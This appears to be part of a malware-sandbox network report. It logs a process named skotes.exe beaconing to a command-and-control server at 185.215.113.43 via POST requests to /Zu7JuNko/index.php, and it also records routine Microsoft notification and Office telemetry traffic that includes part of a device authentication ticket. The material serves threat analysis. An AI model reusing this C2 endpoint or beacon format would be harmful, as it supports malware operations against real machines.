Nov 12, 2024 10:43:14.950087070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50253	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:16.827569008 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:43:17.735671043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50254	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:19.250958920 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:43:20.167506933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50255	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:43:21.782576084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:43:22.703788996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 78 55 71 4d 76 36 61 63 4e 55 61 54 56 73 50 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 37 64 30 61 62 38 31 61 39 64 38 39 35 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: xUqMv6acNUaTVsPq.1Context: ee7d0ab81a9d8959
2024-11-12 09:37:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 09:37:01 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 78 55 71 4d 76 36 61 63 4e 55 61 54 56 73 50 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 37 64 30 61 62 38 31 61 39 64 38 39 35 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: xUqMv6acNUaTVsPq.2Context: ee7d0ab81a9d8959<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-11-12 09:37:01 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 78 55 71 4d 76 36 61 63 4e 55 61 54 56 73 50 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 65 37 64 30 61 62 38 31 61 39 64 38 39 35 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: xUqMv6acNUaTVsPq.3Context: ee7d0ab81a9d8959<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 09:37:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 09:37:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 49 49 6b 76 69 68 48 33 45 43 68 68 2f 72 36 62 58 59 42 59 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: wIIkvihH3EChh/r6bXYBYA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 32 72 31 64 68 55 49 4f 6b 69 6f 70 71 4c 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 32 34 31 34 66 33 36 65 66 65 30 65 65 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: s2r1dhUIOkiopqL8.1Context: fe2414f36efe0ee1
2024-11-12 09:37:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 09:37:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 32 72 31 64 68 55 49 4f 6b 69 6f 70 71 4c 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 32 34 31 34 66 33 36 65 66 65 30 65 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 46 36 6d 64 4e 33 66 57 55 39 4f 55 5a 65 6f 77 41 6f 6d 7a 61 56 68 66 75 34 76 79 2b 35 4a 62 37 77 6a 67 49 70 67 6f 4f 45 64 58 32 41 65 54 56 4f 78 74 69 46 4f 56 30 62 4a 39 70 50 6d 5a 56 4c 41 74 4d 4a 54 5a 66 51 35 56 4a 4f 4b 42 4b 4f 55 67 34 44 6c 39 31 6f 59 71 66 75 48 58 69 75 53 30 30 61 56 6c 41 6f 2f 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: s2r1dhUIOkiopqL8.2Context: fe2414f36efe0ee1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVF6mdN3fWU9OUZeowAomzaVhfu4vy+5Jb7wjgIpgoOEdX2AeTVOxtiFOV0bJ9pPmZVLAtMJTZfQ5VJOKBKOUg4Dl91oYqfuHXiuS00aVlAo/n
2024-11-12 09:37:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 32 72 31 64 68 55 49 4f 6b 69 6f 70 71 4c 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 32 34 31 34 66 33 36 65 66 65 30 65 65 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: s2r1dhUIOkiopqL8.3Context: fe2414f36efe0ee1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 09:37:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 09:37:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 37 2b 42 6e 37 52 41 34 6b 2b 6d 61 5a 78 61 78 53 49 2b 50 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: S7+Bn7RA4k+maZxaxSI+PQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:09 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:09 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093709Z-16547b76f7f67wxlhC1DFWah9w0000000fd00000000084gb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:09 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 09:37:09 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 09:37:09 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 09:37:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
